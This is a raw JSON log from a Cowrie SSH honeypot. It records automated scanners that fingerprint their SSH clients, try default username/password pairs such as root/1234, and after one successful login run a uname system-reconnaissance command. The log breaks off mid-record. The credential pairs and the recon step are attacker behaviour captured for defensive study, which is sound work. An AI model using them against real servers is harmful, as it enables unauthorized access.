{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:40.254897Z","src_ip":"195.178.110.218","session":"c9b7332e6c3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:40.493087Z","src_ip":"195.178.110.218","session":"c9b7332e6c3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:41.574396Z","src_ip":"195.178.110.218","session":"c9b7332e6c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":51932,"dst_ip":"10.17.0.5","dst_port":22,"session":"d19a1dd031c2","protocol":"ssh","message":"New connection: 92.118.39.92:51932 (10.17.0.5:22) [session: d19a1dd031c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:55.872179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:55.876220Z","src_ip":"92.118.39.92","session":"d19a1dd031c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:56.004543Z","src_ip":"92.118.39.92","session":"d19a1dd031c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234","message":"login attempt [root/1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:56.308493Z","src_ip":"92.118.39.92","session":"d19a1dd031c2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:56.590986Z","src_ip":"92.118.39.92","session":"d19a1dd031c2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:56.593950Z","src_ip":"92.118.39.92","session":"d19a1dd031c2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:56.698374Z","src_ip":"92.118.39.92","session":"d19a1dd031c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:56.703298Z","src_ip":"92.118.39.92","session":"d19a1dd031c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46214,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fb6c4aa2923","protocol":"ssh","message":"New connection: 2.57.122.208:46214 (10.17.0.5:22) [session: 8fb6c4aa2923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:00:28.318595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:00:28.324256Z","src_ip":"2.57.122.208","session":"8fb6c4aa2923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:00:28.433640Z","src_ip":"2.57.122.208","session":"8fb6c4aa2923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:00:28.984966Z","src_ip":"2.57.122.208","session":"8fb6c4aa2923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:00:30.223540Z","src_ip":"2.57.122.208","session":"8fb6c4aa2923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40332,"dst_ip":"10.17.0.5","dst_port":22,"session":"caefd02b2c31","protocol":"ssh","message":"New connection: 92.118.39.92:40332 (10.17.0.5:22) [session: caefd02b2c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:05.848714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:05.854013Z","src_ip":"92.118.39.92","session":"caefd02b2c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:05.958503Z","src_ip":"92.118.39.92","session":"caefd02b2c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:06.266454Z","src_ip":"92.118.39.92","session":"caefd02b2c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:07.371278Z","src_ip":"92.118.39.92","session":"caefd02b2c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51658,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae207b6ba580","protocol":"ssh","message":"New connection: 195.178.110.218:51658 (159.203.135.109:22) [session: ae207b6ba580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:19.011007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:19.015329Z","src_ip":"195.178.110.218","session":"ae207b6ba580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:19.094561Z","src_ip":"195.178.110.218","session":"ae207b6ba580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:19.322726Z","src_ip":"195.178.110.218","session":"ae207b6ba580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:20.401417Z","src_ip":"195.178.110.218","session":"ae207b6ba580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":38344,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a3a3278b189","protocol":"ssh","message":"New connection: 139.19.117.129:38344 (159.203.135.109:22) [session: 6a3a3278b189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:28.134250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:28.139505Z","src_ip":"139.19.117.129","session":"6a3a3278b189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:28.237306Z","src_ip":"139.19.117.129","session":"6a3a3278b189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:28.429311Z","src_ip":"139.19.117.129","session":"6a3a3278b189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:28.432870Z","src_ip":"139.19.117.129","session":"6a3a3278b189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:28.529924Z","src_ip":"139.19.117.129","session":"6a3a3278b189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:28.533581Z","src_ip":"139.19.117.129","session":"6a3a3278b189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:38.134325Z","src_ip":"139.19.117.129","session":"6a3a3278b189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38402,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8375b23308e","protocol":"ssh","message":"New connection: 2.57.122.208:38402 (10.17.0.5:22) [session: d8375b23308e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:40.315997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:02:40.347947Z","src_ip":"2.57.122.208","session":"d8375b23308e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 